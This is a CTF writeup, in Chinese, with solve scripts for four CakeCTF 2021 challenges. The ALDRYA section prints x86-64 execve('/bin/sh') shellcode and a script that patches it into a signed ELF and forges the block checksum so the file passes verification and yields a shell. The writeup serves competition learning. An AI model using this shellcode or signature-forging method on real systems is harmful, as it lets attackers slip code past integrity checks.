2021 CakeCTF - Writeup

Sun, Aug 29, 2021 5-minute read

題目:nostrings, Hash-browns, rflag, ALDRYA

Score:NCtfU - 5th

nostrings

Challenge Info

CTF / rev / warmup –> strings

nostrings

Solution

用假 flag 組成真 flag 的題目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from string import printable

key = open('./0x4020.bin', 'rb').read()

flag = ''
for i in range(58):
    for el in printable:
        if key[ord(el) * 127 + i] == ord(el):
            flag += el
            break
print(flag)

Flag

CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357}


Hash-browns

Challenge Info

Would you mind making the finest hash browns, chef?

hash_browns

Solution

程式流程簡單來說:

  • 每次取輸入的 2 bytes 分別計算 md5, sha256
  • 要跟特定的 hash 一樣

把 hash 動態抓出來爆破就可以了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import gdb
from string import printable
import hashlib

sha256_idx = []

'''get_sha256_idx'''
cmd = gdb.execute

cmd('gef config context.enable 0')
cmd('file hash_browns')
cmd('b *main+0x2b0')
cmd('b *main+0x2fa')
cmd('i b')
cmd(f'r {"a" * 37 * 2}')

for i in range(37):
    cmd('flags +ZERO')
    cmd('c')
    cmd('flags +ZERO')
    rbp = gdb.parse_and_eval("$rbp - 0x3b4")
    recv = gdb.selected_inferior().read_memory(rbp, 1).tobytes()
    sha256_idx.append(int.from_bytes(recv, byteorder='little'))
    cmd('c')


def md5(data):
    m = hashlib.md5()
    m.update(data.encode())
    return m.hexdigest()[:10]


def sha256(data):
    m = hashlib.sha256()
    m.update(data.encode())
    return m.hexdigest()[:10]


def hash_lookup(hash_func, hash_lsit):
    hash = hash_func(p)
    while hash in hash_lsit:
        idx = hash_lsit.index(hash)
        off = hash_func == sha256
        hash_lsit[idx] = None
        flag_list[idx << 1 | off] = p


md5_list = ['0d61f8370c', '8ce4b16b22', '0d61f8370c', '8006189430', '84c4047341', 'd956797521', '9371d7a2e3', '43ec3e5dee', '336d5ebc54', '336d5ebc54', '4c761f170e', '84c4047341', 'b14a7b8059', '9371d7a2e3', '4c761f170e', '44c29edb10', 'b9ece18c95', 'b9ece18c95',
            'f186217753', 'f186217753', '4c761f170e', '84c4047341', '518ed29525', '9371d7a2e3', '26b17225b6', '336d5ebc54', '336d5ebc54', '3389dae361', '84c4047341', 'd956797521', '9371d7a2e3', 'a87ff679a2', '1679091c5a', 'c4ca4238a0', '8f14e45fce', 'c9f0f895fb', 'a87ff679a2']
sha256_list = ['ca978112ca', '3f79bb7b43', '7ace431cb6', 'd2e2adf717', '74cd9ef9c7', 'c4694f2e93', '2c624232cd', '559aead082', '7ace431cb6', 'd4735e3a26', 'ba5ec51d07', '684888c0eb', '7902699be4', '7ace431cb6', '148de9c5a7', '74cd9ef9c7', '32ebb1abcc', '32ebb1abcc',
               '3e23e81600', 'e632b7095b', '7ace431cb6', 'd2e2adf717', 'ef2d127de3', '3973e022e9', 'c4694f2e93', '021fb596db', '7ace431cb6', '380918b946', '74cd9ef9c7', 'a318c24216', '74cd9ef9c7', '380918b946', '74cd9ef9c7', 'ba5ec51d07', '380918b946', 'c4694f2e93', 'd10b36aa74']
flag_list = [None] * (len(md5_list) + len(sha256_list))

for p in printable:
    hash_lookup(md5, md5_list)
    hash_lookup(sha256, sha256_list)


for i, v in enumerate(sha256_idx):
    print(f"{flag_list[i << 1]}{flag_list[v << 1 | 1]}", end='')


cmd('quit')

Flag

CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}


rflag

Challenge Info

CTFer is good at guessing something, right?

rflag, flag.txt

Solution

RUST 題,目標是猜中一個隨機字串 [0-9a-f]{32},有 4 次機會可以輸入 regex,會回傳符合條件的 offset

local 測試可以用 ./rflag cakemode 會顯示隨機字串,實際執行如下:

丟 IDA 稍微標註字串然後手動 mangling 一下程式流程就蠻清楚了,但看半天都找不到漏洞…


結果連逆向都不用

因為拿 0b1xxx 去搜([89abcdef])可以知道所有值的最高位是 0 或 1,以此類推每次搜 1 bit,剛好 4 次可以解掉

一天又平安的過去了,感謝隊友 t510599的凱瑞!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

DEBUG = False

context.log_level = 'WARNING'
r = process('./rflag') if DEBUG else remote("misc.cakectf.com", 10023)
hex_digits = "0123456789abcdef"


def guess(mask):
    payload = "[{}]".format(''.join(list(filter(lambda _: int(_, 16) & mask, hex_digits))))
    r.sendlineafter(": ", payload)
    recv = r.recvuntil('\n', drop=True).decode().split(': ')[-1]
    return eval(recv)


key_list = [0] * 32
for shift in reversed(range(4)):
    for i in guess(1 << shift):
        key_list[i] |= (1 << shift)

key = ''.join(list(map(lambda _: format(_, 'x'), key_list)))
r.sendlineafter("Okay, what's the answer?\n", key)
r.recvuntil('FLAG: ')
print(r.recvline().decode()[:-1])
r.close()

Flag

CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}

這題是 misc 吧 😿


ALDRYA

Challenge Info

I’m scared of executing a malicious ELF file. That’s why I invented this new ELF-verify system named ALDRYA.

aldrya, sample.elf, server.py, README.md

Solution

README.md 有清楚的使用方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# ALDRYA - CakeCTF 2021

`server.py` is running on the remote server.
You can upload an ELF file and the server will execute the following command:

 $ ./aldrya <Your ELF> ./sample.aldrya

`sample.aldrya` is the signature of `sample.elf`.
You can test it like this:

 $ ./aldrya ./sample.elf ./sample.aldrya

The flag exists somewhere on the root directory.

核心邏輯在 aldrya,會讀入一個檔案然後做檢查:

  • 檔案開頭要有 ELF magic:'FLE\x7F'
  • 檔案大小限制: [0x41<<8, 0x42<<8) bytes
  • 每 0x100 bytes 計算 hash,hash 紀錄在 ./sample.aldrya

通過檢查之後,直接執行該檔案(execv()


sample.elf 是個簡單的 puts("Hello, Aldrya!") ELF 執行檔,它能通過檢查,所以這題變簡單很多,直接找一個 block 來改就可以了

把 shellcode 寫在 _start() 開頭,然後控制該 block 最後 32 bytes 讓 hash 值正確就可以了(能執行 shellcode 就好,後面爛掉無所謂),腳本如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
chksm = open('./sample.aldrya', 'rb').read()
chksm_list = [int.from_bytes(chksm[i:i+4], byteorder='little') for i in range(0, len(chksm), 4)][1:]

shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
data = open('sample.elf', 'rb').read()
patch_addr = 0x1060
chunk_size = 0x100
chunk_idx = patch_addr >> 8  # idx = 16
chunk_addr = chunk_idx << 8
patch_idx = patch_addr - chunk_addr


def x86_ror(num, shift=1):
    shift %= 32
    tmp = num & ((1 << shift) - 1)
    return (tmp << 32 - shift) | (num >> shift)


def gen_checksm(data, init_chksm=0x20210828):
    for el in data:
        init_chksm = x86_ror(el ^ init_chksm)
    return init_chksm


def patch(orig, patch_data, start_idx):
    return orig[:start_idx] + patch_data + orig[start_idx + len(patch_data):]


def rebuild_by_hand(orig, target_chksm):
    byte_to_rebuild = 32
    orig = orig[:-byte_to_rebuild]
    init_chksm = gen_checksm(orig)
    target_list = b''
    for i in range(byte_to_rebuild):
        temp = (target_chksm >> i) & 1
        temp ^= (init_chksm >> i) & 1
        target_list += bytes([temp])
    a = gen_checksm(orig + target_list)
    b = chksm_list[chunk_idx]
    return orig + target_list


curr_chunk = data[chunk_idx << 8:(chunk_idx + 1) << 8]

patched_chunk = patch(curr_chunk, shellcode, patch_idx)
patched_chunk = rebuild_by_hand(patched_chunk, chksm_list[chunk_idx])

final_data = patch(data, patched_chunk, chunk_addr)

open('sample_patched.elf', 'wb').write(final_data)

把檔案丟到 http://transfer.sh/ ,官方 server 吃 https 會爛掉,所以把網址改成 http 上傳,就可以拿 shell

Flag

CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}

這題也幾乎不用逆向,但挺有趣的